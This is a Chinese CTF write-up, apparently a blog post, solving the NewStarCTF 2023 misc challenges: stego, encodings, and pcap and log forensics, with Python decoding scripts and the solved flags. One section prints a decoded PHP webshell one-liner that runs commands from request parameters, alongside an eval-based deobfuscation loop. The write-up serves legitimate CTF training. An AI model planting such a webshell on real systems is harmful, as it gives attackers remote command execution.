NewStarCTF2023-Misc

目录

week1

[CyberChef's Secret](#CyberChef's Secret)

机密图片

流量!鲨鱼!

压缩包们

空白格

隐秘的眼睛

week2

新建Word文档

永不消逝的电波

1-序章

base!

WebShell的利用

Jvav

week3

阳光开朗大男孩

大怨种

2-分析

键盘侠

滴滴滴

week4

通大残

Nmap

依旧是空白

week5

隐秘的图片

ezhard

新建Python文件


week1

CyberChef's Secret

文件给的字符串经过三次base解码得到flag

flag{Base_15_S0_Easy_^_^}

机密图片

·小宝最近学会了隐写术,并且在图片中藏了一些秘密,你能发现他的秘密吗?·

打开Stegsolve,LSB隐写尝试一下,可以发现有flag

flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}

流量!鲨鱼!

导出http对象

一个一个找,有一个比较特殊的文件

文件内容:

Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=

两次base64解码得到flag

flag{Wri35h4rk_1s_u53ful_b72a609537e6}

压缩包们

文件无后缀,010打开

有一段比较奇怪的字符串

尝试base64解码一下

I like six-digit numbers because they are very concise and easy to remember.

用binwalk分离一下文件

需要爆破,再结合那个提示,应该是6位的数字

用ziperelli爆破一下

输入密码得到flag

flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}

空白格

下载的文件里面有内容,但是看不到

whitespace在线运行,在线工具,在线编译IDE_w3cschool

利用这个在线工具直接复制粘贴得到flag

复制代码
flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}

隐秘的眼睛

根据它的名字,使用SilentEye工具,默认解密得到flag

flag{R0ck1ng_y0u_63b0dc13a591}

week2

新建Word文档

压缩包里面的word文档也是一个压缩包

右键都会显示解压,直接Bandizip打开

里面有很多文件,稍微找一下,可以发现一段特殊的文字,解密一下

新约佛论禅/佛曰加密 - 萌研社 - PcMoe! 在线解密一下

flag{Th1s_F0_1s_s00_Cyp3r_495586e3df3a}

永不消逝的电波

··或许有节奏的声音中传递着一些信息;flag请按照flag{}的格式进行提交,涉及字母均为小写··

摩斯电码,用在线网站直接解密
Morse Code Adaptive Audio Decoder | Morse Code World

flag{thebestctferisyou}

1-序章

sql盲注的log

根据变化的位数,一旦匹配成功就会进行匹配下一个字符,根据这个确定所有匹配的字符

写脚本提取出相应的字符

(学着别人的脚本自己边理解边写,学习一下,脚本能力太弱了,哎)

python 复制代码
# [NewStarCTF 2023 公开赛道]1-序章

import re

with open('access.log','r') as f:
    lines=f.read().split('\n')

comp=re.compile(r'user\),([0-9]{1,2}),1\)\)=([0-9]{2,3}),sleep',re.I)
# line=lines[1]
# print(comp.search(line).group(1))

flag_ascii={}
for line in lines:
    f=comp.search(line)
    if f:
        key=f.group(1)
        value=f.group(2)
        flag_ascii[key]=value

# print(flag_ascii)

flag=''
for i in flag_ascii.values():
    flag += chr(int(i))

print(flag)

运行结果:

you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}

base!

打开文件是一推base64的内容,利用工具base64隐写

iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8

最后在进行base58解密得到flag

flag{b4se_1s_4_g0od_c0d3}

WebShell的利用

解密,不断的循环解密,感觉有点离谱
NewStarCTF 2023 Week2 官方WriteUp(转载)_newstarctf 2023 官方writeup-CSDN博客

php 复制代码
<?php
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('此处省略题目文件中的编码内容')))));";
for($i=0; $i<50; $i++){
    if(preg_match("/base64/",$shell)){
        $tmp = preg_replace("/eval/","return ",$shell);
        $shell = eval($tmp);
    }else{
        break;
    }
}
echo $shell;

运行结果:error_reporting(0);(_GET\['7d67973a'\])(_POST['9fa3']);

命令执行就行

Jvav

https://github.com/ww23/BlindWaterMark

java盲水印提取,环境有点问题不知道干嘛了,一直运行不了

week3

阳光开朗大男孩

两个文件两个加密
emoji-aes

this_password_is_s000_h4rd_p4sssw0rdddd

有点离谱, 密码是 s000_h4rd_p4sssw0rdddd

flag{3m0ji_1s_s0000_1nt3rest1ng_0861aada1050}

大怨种

一张gif的图片,可以一帧一帧的看,有一张二维码

汉信码识别
在线汉信码识别,汉信码解码 - 兔子二维码

flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}

2-分析

wireshark打开,统计里面点击http 请求

有很多的文件,有一个非常可疑,尝试穿越目录写马

根据题目的要求,index.php为存在漏洞的文件名,wh1t3g0d.php为webshell文件名

剩下一个用户名,导出http文件

在login的文件中找到了用户名: best_admin

best_admin_index.php_wh1t3g0d.php 进行md5编码 4069afd7089f7363198d899385ad688b

即为flag : flag{4069afd7089f7363198d899385ad688b}

键盘侠

usb流量

在kali里面使用命令提取出数据

tshark -T json -r draobyek.pcapng >1.json

strings 1.json | grep "usbhid.data" > 1.txt

写个简单的脚本,提取出那些16进制数字

python 复制代码
import re

filename = '1.txt'
out_f='out.txt'
with open(filename, 'r') as file:
    lines = file.readlines()

pat = re.compile(r'"usbhid\.data": "([0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2})"')

values = [match.group(1) for line in lines for match in pat.finditer(line)]

with open(out_f,'w') as f:
    for value in values:
        f.write(value+ '\n')

用脚本还原数据对应的信息

用上别人的脚本:

python 复制代码
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }

nums = []
keys = open('E:\\CTF\\ctf 做题\\buuctf\\misc\\jpx\\out.txt')
for line in keys:
    if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
         continue
    nums.append(int(line[6:8],16))

keys.close()

output = ""
for n in nums:
    if n == 0 :
        continue
    if n in mappings:
        output += mappings[n]
    else:
        output += '[unknown]'

print(output)

看的有点不清晰

第二个脚本

python 复制代码
normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass

print ('output :' + "".join(output))

flag看的比较明显,将大写字母转换成小写

flag{9919aeb2-a450-2f5f-7bfc-89df4bfa8584}

滴滴滴

手机拨号的按键音

在kali使用命令 :dtmf2num 奇怪的音频.wav

得到密码:52563319066

还有一张图片,kali中使用steghide命令

得到flag :flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}

week4

通大残

给的图片:

啥也没看出来,最上面好像有点东西

尝试使用zsteg命令

用于检测和提取隐写在图像文件(主要支持PNG和BMP格式)中的数据

Nmap

https://www.cnblogs.com/zhaof/p/13264836.html

nmap利用客户端回SYN,ACK 的这个数据包知道端口是开放的

所以直接搜索,找相应的开放的端口

8021,7000,9000,5000,80,3306

可以找到这几个端口,排列一下

flag{80,3306,5000,7000,8021,9000}

依旧是空白

一张空白图片和txt文件,

空白图片进行宽高爆破修复一下,可以得到密码

可以使用Deformed-Image-Restorer工具

密码:s00_b4by_f0r_y0u

txt文件为:

一种snow隐写

工具下载:http://darkside.com.au/snow/snwdos32.zip

week5

隐秘的图片

给了两张图片,都是二维码的

stegsolve打开一张图片,然后异或另一张图片

得到的新的二维码,扫描一下得到flag

flag{x0r_1m4ge_w1ll_g0t_fl4ggg_3394e4ecbb53}

ezhard

直接使用360压缩打开有几个文件,解压后打开hint.png就得到flag了

flag{12bc2ba3-fa54-7b45-7f3d-f54ea6e45d7c}

新建Python文件

pyc文件隐写

https://github.com/AngelKitty/stegosaurus

下载相应的工具,使用命令运行

flag{s0_b4By_pYcst3g}

NewstarCTF 2023 misc&web wp-CSDN博客
https://www.cnblogs.com/mumuhhh/p/17796451.html

相关推荐
LLINELL5 天前
2024秋季云曦开学考
web·misc·rce
不拿flag不改名8 天前
[ACTF2020 新生赛]Upload1
android·ctf
xuan哈哈哈8 天前
misc音频隐写
misc
kangsf19898 天前
BUUCTF 之Basic 1(BUU LFI COURSE 1)
靶场·ctf·buuctf
不拿flag不改名9 天前
[极客大挑战 2019]Http
ctf
CH13hh10 天前
常回家看看之house of kiwi
pwn·ctf··house
Jay 1710 天前
第四届“长城杯”网络安全大赛 暨京津冀网络安全技能竞赛(初赛) 全方向 题解WriteUp
安全·web安全·密码学·二进制·ctf·长城杯·安全杂项
亿.610 天前
[FBCTF2019]RCEService
web·ctf·buuctf
剁椒排骨11 天前
BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin
网络·网络协议·http·网络安全·web·ctf·字典爆破
Jay 1715 天前
2024 第七届“巅峰极客”网络安全技能挑战赛初赛 Web方向 题解WirteUp
安全·web安全·php·ctf·writeup·wp·巅峰极客